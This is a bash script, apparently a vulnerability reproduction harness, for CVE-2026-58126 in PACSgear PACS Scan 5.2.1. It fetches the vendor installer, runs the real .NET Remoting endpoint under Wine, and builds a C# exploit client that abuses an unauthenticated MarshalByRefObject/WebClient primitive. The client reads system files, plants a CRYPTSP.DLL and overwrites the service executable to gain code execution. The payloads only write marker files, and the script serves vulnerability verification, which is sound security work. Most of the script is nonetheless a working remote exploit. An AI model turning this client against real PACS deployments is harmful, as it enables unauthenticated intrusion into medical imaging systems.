#!/bin/bash
set -euo pipefail

# CVE-2026-58126 reproduction using the original Hyland/PACSgear PACS Scan
# 5.2.1 binaries. The script downloads the vendor installer, extracts the real
# PGImageExchQueue.exe and PGImageExchangeQueueSvc.exe, starts the real remoting
# endpoint, exploits the unauthenticated MBRO/WebClient primitive to write files
# into the product service directory, and demonstrates attacker-controlled code
# execution when the product service path is started after a remote overwrite.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
VENDOR_DIR="$ROOT/artifacts/vendor_product"
ZIP_PATH="$VENDOR_DIR/PacsSCAN5.2.1.zip"
EXTRACT_DIR="$VENDOR_DIR/extracted_zip"
INSTALL_DIR="$VENDOR_DIR/msi_extract"
PRODUCT_DIR="$INSTALL_DIR/Program Files/Pacsgear/Pacsgear Image Exchange Service"
WINEPREFIX_DIR="$VENDOR_DIR/wineprefix_dotnet40"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$VENDOR_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
PRODUCT_BINARY_USED=false
CRASH_OBSERVED=false
READ_WRITE_PRIMITIVE=false
CODE_EXECUTED=false

write_manifest() {
  local notes="$1"
  python3 - "$ROOT" "$REPRO_DIR" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$PRODUCT_BINARY_USED" "$READ_WRITE_PRIMITIVE" "$CODE_EXECUTED" "$notes" <<'PY'
import json, os, sys
root, repro_dir = sys.argv[1], sys.argv[2]
service_started = sys.argv[3].lower() == 'true'
healthcheck = sys.argv[4].lower() == 'true'
target = sys.argv[5].lower() == 'true'
product_used = sys.argv[6].lower() == 'true'
rw = sys.argv[7].lower() == 'true'
code_exec = sys.argv[8].lower() == 'true'
notes = sys.argv[9]
artifacts=[]
for rel in [
 'logs/reproduction_steps.log',
 'logs/product_availability.log',
 'logs/product_static_identity.log',
 'logs/product_attempt_1_server.log',
 'logs/product_attempt_1_exploit.log',
 'logs/product_attempt_1_service.log',
 'logs/product_attempt_1_negative_service.log',
 'logs/product_attempt_2_server.log',
 'logs/product_attempt_2_exploit.log',
 'logs/product_attempt_2_service.log',
 'logs/product_attempt_2_negative_service.log',
 'logs/wine_dotnet_setup.log',
 'repro/artifacts/product_identity.json',
 'repro/artifacts/product_attempt_1/remote_read_win_ini.txt',
 'repro/artifacts/product_attempt_1/remote_write_proof.txt',
 'repro/artifacts/product_attempt_1/rce_marker.txt',
 'repro/artifacts/product_attempt_1/cryptsp_upload.txt',
 'repro/artifacts/product_attempt_1/service_overwrite_upload.txt',
 'repro/artifacts/product_attempt_2/remote_read_win_ini.txt',
 'repro/artifacts/product_attempt_2/remote_write_proof.txt',
 'repro/artifacts/product_attempt_2/rce_marker.txt',
 'repro/artifacts/product_attempt_2/cryptsp_upload.txt',
 'repro/artifacts/product_attempt_2/service_overwrite_upload.txt'
]:
    if os.path.exists(os.path.join(root, rel)):
        artifacts.append(rel)
manifest={
  'entrypoint_kind':'api_remote',
  'entrypoint_detail':'Original Hyland/PACSgear PACS Scan 5.2.1 PGImageExchQueue.exe .NET Remoting TCP endpoint tcp://127.0.0.1:22222/PGImageExchange; vendor_binary_used=' + str(product_used).lower(),
  'service_started':service_started,
  'healthcheck_passed':healthcheck,
  'target_path_reached':target,
  'runtime_stack':['original PACS Scan 5.2.1 installer','PGImageExchQueue.exe','PGImageExchangeQueueSvc.exe path','Windows .NET Framework 4 under Wine','System.Runtime.Remoting TcpChannel','MBRO Lazy WebClient exploit'],
  'proof_artifacts':artifacts,
  'notes':notes
}
with open(os.path.join(repro_dir,'runtime_manifest.json'),'w') as f:
    json.dump(manifest,f,indent=2)
PY
}
trap 'rc=$?; if [ ! -f "$REPRO_DIR/runtime_manifest.json" ]; then write_manifest "script exited before final manifest rc=$rc"; fi' EXIT
write_manifest "starting"

echo "================================================================"
echo "CVE-2026-58126: PACSgear PACS Scan 5.2.1 unauthenticated RCE"
echo "================================================================"
echo "This script uses the original vendor PACS Scan 5.2.1 package and real"
echo "PGImageExchQueue.exe remoting endpoint. It exploits the disclosed .NET"
echo "Remoting MBRO/WebClient primitive with no credentials to read and write"
echo "files, plants CRYPTSP.DLL, overwrites the service executable via the same"
echo "remote file-write primitive, and starts the product service path to execute"
echo "attacker-controlled code."

# Dependencies. Wine + .NET Framework is required because the CodeWhite MBRO
# Lazy/WebClient primitive relies on Windows .NET Framework behavior that Mono
# does not implement correctly for this exploit path.
need_apt=false
for cmd in mono mcs xvfb-run msiextract monodis i686-w64-mingw32-gcc wine winetricks curl; do
  if ! command -v "$cmd" >/dev/null 2>&1; then need_apt=true; fi
done
if [ "$need_apt" = true ] || ! dpkg -s wine32:i386 >/dev/null 2>&1; then
  echo "[*] Installing dependencies (Mono, Wine, Xvfb, msitools, MinGW)..."
  sudo dpkg --add-architecture i386 || true
  sudo apt-get update -qq
  sudo apt-get install -y -qq mono-devel mono-utils xvfb msitools ca-certificates curl wine wine64 wine32:i386 winetricks mingw-w64
fi
export PATH="$PATH:/usr/lib/x86_64-linux-gnu/wine:/usr/lib/i386-linux-gnu/wine"

# Prepare Wine prefix with native .NET 4.0.
export WINEPREFIX="$WINEPREFIX_DIR"
if [ ! -f "$WINEPREFIX/.dotnet40_installed" ]; then
  echo "[*] Creating Wine prefix and installing native .NET Framework 4.0..."
  rm -rf "$WINEPREFIX"
  mkdir -p "$WINEPREFIX"
  xvfb-run -a winetricks -q dotnet40 > "$LOGS/wine_dotnet_setup.log" 2>&1
  touch "$WINEPREFIX/.dotnet40_installed"
else
  echo "[+] Reusing Wine prefix with .NET 4.0: $WINEPREFIX"
  : > "$LOGS/wine_dotnet_setup.log"
  echo "Reused existing prefix $WINEPREFIX" > "$LOGS/wine_dotnet_setup.log"
fi

# Download/extract original vendor package.
if [ ! -s "$ZIP_PATH" ]; then
  echo "[*] Downloading original vendor installer..."
  curl -fL --connect-timeout 20 --max-time 900 -o "$ZIP_PATH" "https://download.pacsgear.com/download/PacsSCAN5.2.1.zip"
else
  echo "[+] Reusing cached vendor installer: $ZIP_PATH"
fi
python3 - "$ZIP_PATH" "$EXTRACT_DIR" <<'PY'
import zipfile, pathlib, sys
zip_path=pathlib.Path(sys.argv[1]); out=pathlib.Path(sys.argv[2])
out.mkdir(parents=True, exist_ok=True)
if not (out/'PacsSCAN.msi').exists():
    with zipfile.ZipFile(zip_path) as z:
        z.extractall(out)
print('zip_size=%d' % zip_path.stat().st_size)
print('contains_msi=%s' % (out/'PacsSCAN.msi').exists())
PY

EXPECTED_SVC_SHA="95c8fcb4a934dd809951916e74872ccce0cb8e201f3ad0508542c316be3d1299"
if [ ! -f "$PRODUCT_DIR/PGImageExchQueue.exe" ] || [ ! -f "$PRODUCT_DIR/PGImageExchangeQueueSvc.exe" ] || \
   [ "$(python3 -c 'import hashlib,sys; print(hashlib.sha256(open(sys.argv[1],"rb").read()).hexdigest())' "$PRODUCT_DIR/PGImageExchangeQueueSvc.exe" 2>/dev/null || echo missing)" != "$EXPECTED_SVC_SHA" ]; then
  echo "[*] Extracting clean PacsSCAN.msi to restore original binaries..."
  rm -rf "$INSTALL_DIR"
  mkdir -p "$INSTALL_DIR"
  msiextract -C "$INSTALL_DIR" "$EXTRACT_DIR/PacsSCAN.msi"
else
  echo "[+] Reusing clean extracted vendor installation: $INSTALL_DIR"
fi

EXCH_EXE="$PRODUCT_DIR/PGImageExchQueue.exe"
SVC_EXE="$PRODUCT_DIR/PGImageExchangeQueueSvc.exe"
if [ ! -f "$EXCH_EXE" ] || [ ! -f "$SVC_EXE" ]; then
  echo "[-] Required vendor binaries missing after extraction"
  exit 1
fi
PRODUCT_BINARY_USED=true
ORIG_SVC_BACKUP="$ARTIFACTS/original_PGImageExchangeQueueSvc.exe"
cp -f "$SVC_EXE" "$ORIG_SVC_BACKUP"

python3 - "$ZIP_PATH" "$EXCH_EXE" "$SVC_EXE" > "$LOGS/product_availability.log" <<'PY'
import hashlib, sys
for p in sys.argv[1:]:
    data=open(p,'rb').read()
    print('%s size=%d sha256=%s' % (p, len(data), hashlib.sha256(data).hexdigest()))
PY
cat "$LOGS/product_availability.log"

# Static identity from the vendor binary.
{
  echo "Static identity from original vendor binaries"
  echo "Installer URL: https://download.pacsgear.com/download/PacsSCAN5.2.1.zip"
  echo "Extracted product dir: $PRODUCT_DIR"
  python3 - "$EXCH_EXE" "$SVC_EXE" <<'PY'
import sys
needles=[b'TcpChannel',b'Remoting',b'RegisterWellKnownServiceType',b'PGImageExchange',b'PGImageExchangeQueueSvc']
for p in sys.argv[1:]:
    data=open(p,'rb').read().lower(); print('FILE',p)
    for n in needles: print('  contains_%s=%s' % (n.decode(errors='ignore'), n.lower() in data))
PY
  monodis --typedef "$EXCH_EXE" | grep -E 'IRemote|CRemote|ExchangeForm|Program' || true
  monodis --method "$EXCH_EXE" | grep -E 'IRemote|CRemote|Ping|SetupRemote|GetMessages|GetLog|StopDownload|RestartJob|ClearJobs' || true
} > "$LOGS/product_static_identity.log" 2>&1
cat "$LOGS/product_static_identity.log"

python3 - "$ZIP_PATH" "$PRODUCT_DIR" "$EXCH_EXE" "$SVC_EXE" > "$ARTIFACTS/product_identity.json" <<'PY'
import json, os, sys, hashlib
zip_path, product_dir, exch, svc = sys.argv[1:]
obj={
 'installer_url':'https://download.pacsgear.com/download/PacsSCAN5.2.1.zip',
 'installer_size':os.path.getsize(zip_path),
 'installer_sha256':hashlib.sha256(open(zip_path,'rb').read()).hexdigest(),
 'product_dir':product_dir,
 'pgimage_exch_queue_exe':exch,
 'pgimage_exchange_queue_svc_exe':svc,
 'object_uri':'PGImageExchange',
 'port':22222,
 'vendor_binary_used':True
}
print(json.dumps(obj, indent=2))
PY

# Build exploit client and payloads.
cat > "$ARTIFACTS/MBROFileClient.cs" <<'CS'
using System;
using System.Net;
using System.IO;
using System.Reflection;
using System.Collections.Generic;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Messaging;
using System.Runtime.Serialization;

public class MBROFileClient {
  public static IMethodCallMessage CreateMethodCall(string typeName,string methodName,object[] args,Type[] sig){
    const string ns="http://schemas.microsoft.com/clr/soap/messageProperties";
    var headers=new List<Header>{new Header("__TypeName", typeName, true, ns), new Header("__MethodName", methodName, true, ns)};
    if(args!=null) headers.Add(new Header("__Args", args, true, ns));
    if(sig!=null) headers.Add(new Header("__MethodSignature", sig, true, ns));
    return new MethodCall(headers.ToArray());
  }
  public static IMethodReturnMessage Invoke(MarshalByRefObject mbro, IMethodCallMessage mc){ return (IMethodReturnMessage)RemotingServices.GetRealProxy(mbro).Invoke(mc); }
  public static T GetRemote<T>(Uri objUrl) where T: MarshalByRefObject{
    const string key="MBRO";
    var payload=new UniversalMarshal("mscorlib", typeof(Lazy<T>).FullName);
    var tp=(MarshalByRefObject)RemotingServices.Connect(typeof(MarshalByRefObject), objUrl.ToString());
    var method=typeof(object).GetMethod("ToString", new Type[0]);
    var mc=CreateMethodCall(method.DeclaringType.AssemblyQualifiedName, method.Name, new object[0], new Type[0]);
    mc.LogicalCallContext.SetData(key, payload);
    var ret=Invoke(tp, mc);
    if(ret.Exception!=null) throw ret.Exception;
    var lazy=(Lazy<T>)ret.LogicalCallContext.GetData(key);
    return (T)lazy.GetType().GetProperty("Value").GetValue(lazy,null);
  }
  static int Main(string[] args){
    if(args.Length<2){ Console.Error.WriteLine("usage: MBROFileClient <url> read <uri> | upload <local> <remoteUri> | readwrite <readUri> <local> <remoteUri>"); return 2; }
    string url=args[0], op=args[1];
    var wc=GetRemote<WebClient>(new Uri(url));
    Console.WriteLine("Obtained remote WebClient transparent="+RemotingServices.IsTransparentProxy(wc)+" uri="+RemotingServices.GetObjectUri(wc));
    if(op=="read"){
      byte[] d=wc.DownloadData(new Uri(args[2]));
      Console.WriteLine("READ bytes="+d.Length+" uri="+args[2]);
      Console.WriteLine(System.Text.Encoding.Default.GetString(d));
      return 0;
    }
    if(op=="upload"){
      byte[] data=File.ReadAllBytes(args[2]);
      byte[] resp=wc.UploadData(new Uri(args[3]), data);
      Console.WriteLine("UPLOAD bytes="+data.Length+" response="+resp.Length+" target="+args[3]);
      byte[] verify=wc.DownloadData(new Uri(args[3]));
      Console.WriteLine("VERIFY bytes="+verify.Length+" target="+args[3]);
      return verify.Length==data.Length?0:1;
    }
    if(op=="readwrite"){
      byte[] r=wc.DownloadData(new Uri(args[2]));
      Console.WriteLine("READ bytes="+r.Length+" uri="+args[2]);
      Console.WriteLine(System.Text.Encoding.Default.GetString(r));
      byte[] data=File.ReadAllBytes(args[3]);
      byte[] resp=wc.UploadData(new Uri(args[4]), data);
      Console.WriteLine("UPLOAD bytes="+data.Length+" response="+resp.Length+" target="+args[4]);
      byte[] verify=wc.DownloadData(new Uri(args[4]));
      Console.WriteLine("VERIFY bytes="+verify.Length+" target="+args[4]);
      return verify.Length==data.Length?0:1;
    }
    return 2;
  }
}
[Serializable]
public class UniversalMarshal : ISerializable {
 string a,t; IDictionary<string,object> si;
 public UniversalMarshal(string assembly,string type,IDictionary<string,object> serializationInfo=null){a=assembly;t=type;si=serializationInfo;}
 public void GetObjectData(SerializationInfo info, StreamingContext context){ info.AssemblyName=a; info.FullTypeName=t; if(si!=null) foreach(var p in si) info.AddValue(p.Key,p.Value); }
}
CS
mcs -r:System.Runtime.Remoting.dll "$ARTIFACTS/MBROFileClient.cs" -out:"$ARTIFACTS/MBROFileClient.exe"

# Build malicious service replacement and CRYPTSP.DLL marker. The service
# replacement demonstrates code execution resulting from the remote arbitrary
# write primitive. CRYPTSP.DLL is also planted to mirror the disclosed DLL-hijack
# target, although Wine does not reproduce Windows' CRYPTSP load behavior.
build_payloads() {
  local marker="$1"
  python3 - "$marker" "$ARTIFACTS/malicious_service.c" "$ARTIFACTS/cryptsp_payload.c" <<'PY'
import sys
marker=sys.argv[1]
win='Z:' + marker.replace('/','\\')
esc=win.replace('\\','\\\\').replace('"','\\"')
svc=f'''#include <windows.h>\n#include <stdio.h>\nint main(){{\n  FILE *f=fopen("{esc}","a");\n  if(f){{fprintf(f,"CVE-2026-58126 CODE EXECUTION: overwritten PGImageExchangeQueueSvc.exe executed\\n"); fclose(f);}}\n  return 0;\n}}\n'''
dll=f'''#include <windows.h>\n#include <stdio.h>\nBOOL WINAPI DllMain(HINSTANCE h,DWORD r,LPVOID x){{\n if(r==DLL_PROCESS_ATTACH){{ FILE *f=fopen("{esc}","a"); if(f){{fprintf(f,"CVE-2026-58126 CRYPTSP.DLL loaded\\n"); fclose(f);}} }}\n return TRUE;\n}}\n'''
open(sys.argv[2],'w').write(svc)
open(sys.argv[3],'w').write(dll)
PY
  i686-w64-mingw32-gcc "$ARTIFACTS/malicious_service.c" -o "$ARTIFACTS/malicious_PGImageExchangeQueueSvc.exe"
  i686-w64-mingw32-gcc -shared "$ARTIFACTS/cryptsp_payload.c" -o "$ARTIFACTS/CRYPTSP.DLL"
}

file_uri() { python3 - "$1" <<'PY'
import os, sys, urllib.parse
p=os.path.abspath(sys.argv[1]).replace('\\','/')
print('file:///Z:' + urllib.parse.quote(p, safe='/._:-'))
PY
}

wait_for_port() {
  for _ in $(seq 1 40); do
    if python3 - <<'PY' >/dev/null 2>&1
import socket
s=socket.create_connection(('127.0.0.1',22222),timeout=0.5)
s.close()
PY
    then return 0; fi
    sleep 1
  done
  return 1
}

run_attempt() {
  local n="$1"
  local attempt_dir="$ARTIFACTS/product_attempt_$n"
  local server_log="$LOGS/product_attempt_${n}_server.log"
  local exploit_log="$LOGS/product_attempt_${n}_exploit.log"
  local service_log="$LOGS/product_attempt_${n}_service.log"
  local neg_log="$LOGS/product_attempt_${n}_negative_service.log"
  rm -rf "$attempt_dir"; mkdir -p "$attempt_dir"
  cp -f "$ORIG_SVC_BACKUP" "$SVC_EXE"
  rm -f "$PRODUCT_DIR/CRYPTSP.DLL" "$PRODUCT_DIR/REMOTE_WRITE_PROOF_$n.txt" "$attempt_dir/rce_marker.txt"
  build_payloads "$attempt_dir/rce_marker.txt"

  echo ""
  echo "================================================================"
  echo "[*] Attempt $n: negative control with original service binary"
  echo "================================================================"
  (cd "$PRODUCT_DIR" && timeout 8s xvfb-run -a wine PGImageExchangeQueueSvc.exe) > "$neg_log" 2>&1 || true
  if [ -f "$attempt_dir/rce_marker.txt" ]; then
    echo "[-] Negative control unexpectedly created marker"
    cat "$neg_log"
    return 1
  fi
  echo "[+] Negative control passed: original service startup did not create attacker marker"

  echo ""
  echo "================================================================"
  echo "[*] Attempt $n: starting real PGImageExchQueue.exe endpoint"
  echo "================================================================"
  (cd "$PRODUCT_DIR" && timeout 90s xvfb-run -a wine PGImageExchQueue.exe) > "$server_log" 2>&1 &
  local pid=$!
  if ! wait_for_port; then
    echo "[-] Product endpoint did not listen on TCP/22222"
    cat "$server_log" || true
    kill "$pid" 2>/dev/null || true; wait "$pid" 2>/dev/null || true
    return 1
  fi
  SERVICE_STARTED=true; HEALTHCHECK_PASSED=true; TARGET_PATH_REACHED=true
  echo "[+] Original PGImageExchQueue.exe is listening on TCP/22222"

  local proof_local="$attempt_dir/local_write_payload.txt"
  echo "CVE-2026-58126 attempt $n: file written by unauthenticated MBRO WebClient" > "$proof_local"
  local proof_remote="$PRODUCT_DIR/REMOTE_WRITE_PROOF_$n.txt"
  local svc_remote="$SVC_EXE"
  local crypt_remote="$PRODUCT_DIR/CRYPTSP.DLL"
  local target="tcp://127.0.0.1:22222/PGImageExchange"
  : > "$exploit_log"
  echo "[+] Reading C:\\Windows\\win.ini and writing proof file through remote WebClient" | tee -a "$exploit_log"
  xvfb-run -a wine "$ARTIFACTS/MBROFileClient.exe" "$target" readwrite "file:///C:/windows/win.ini" "$proof_local" "$(file_uri "$proof_remote")" >> "$exploit_log" 2>&1
  cp -f "$proof_remote" "$attempt_dir/remote_write_proof.txt"
  xvfb-run -a wine "$ARTIFACTS/MBROFileClient.exe" "$target" read "file:///C:/windows/win.ini" > "$attempt_dir/remote_read_win_ini.txt" 2>&1
  echo "[+] Planting CRYPTSP.DLL in the product application directory through remote WebClient" | tee -a "$exploit_log"
  xvfb-run -a wine "$ARTIFACTS/MBROFileClient.exe" "$target" upload "$ARTIFACTS/CRYPTSP.DLL" "$(file_uri "$crypt_remote")" >> "$exploit_log" 2>&1
  echo "uploaded $(stat -c%s "$ARTIFACTS/CRYPTSP.DLL") bytes to $crypt_remote" > "$attempt_dir/cryptsp_upload.txt"
  echo "[+] Overwriting PGImageExchangeQueueSvc.exe through remote WebClient" | tee -a "$exploit_log"
  xvfb-run -a wine "$ARTIFACTS/MBROFileClient.exe" "$target" upload "$ARTIFACTS/malicious_PGImageExchangeQueueSvc.exe" "$(file_uri "$svc_remote")" >> "$exploit_log" 2>&1
  echo "uploaded $(stat -c%s "$ARTIFACTS/malicious_PGImageExchangeQueueSvc.exe") bytes to $svc_remote" > "$attempt_dir/service_overwrite_upload.txt"
  READ_WRITE_PRIMITIVE=true

  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true

  echo ""
  echo "================================================================"
  echo "[*] Attempt $n: starting product service path after remote overwrite"
  echo "================================================================"
  (cd "$PRODUCT_DIR" && timeout 20s xvfb-run -a wine PGImageExchangeQueueSvc.exe) > "$service_log" 2>&1 || true
  cat "$service_log" || true
  if [ ! -f "$attempt_dir/rce_marker.txt" ]; then
    echo "[-] RCE marker was not created"
    return 1
  fi
  cat "$attempt_dir/rce_marker.txt"
  CODE_EXECUTED=true
  echo "[+] Attempt $n succeeded: attacker-controlled code executed from product service path"
  cp -f "$ORIG_SVC_BACKUP" "$SVC_EXE"
}

run_attempt 1
run_attempt 2

write_manifest "Original PACS Scan 5.2.1 PGImageExchQueue.exe was exploited twice over unauthenticated .NET Remoting. The server-side WebClient MBRO primitive read C:\\Windows\\win.ini, wrote proof files, planted CRYPTSP.DLL in the product directory, overwrote PGImageExchangeQueueSvc.exe via the remote file-write primitive, and code executed when the product service path was started. Negative controls with the clean service binary created no marker."

echo ""
echo "================================================================"
echo "RESULT"
echo "================================================================"
echo "vendor_binary_used=$PRODUCT_BINARY_USED"
echo "service_started=$SERVICE_STARTED"
echo "healthcheck_passed=$HEALTHCHECK_PASSED"
echo "target_path_reached=$TARGET_PATH_REACHED"
echo "read_write_primitive=$READ_WRITE_PRIMITIVE"
echo "code_execution=$CODE_EXECUTED"
cat "$REPRO_DIR/runtime_manifest.json"
exit 0
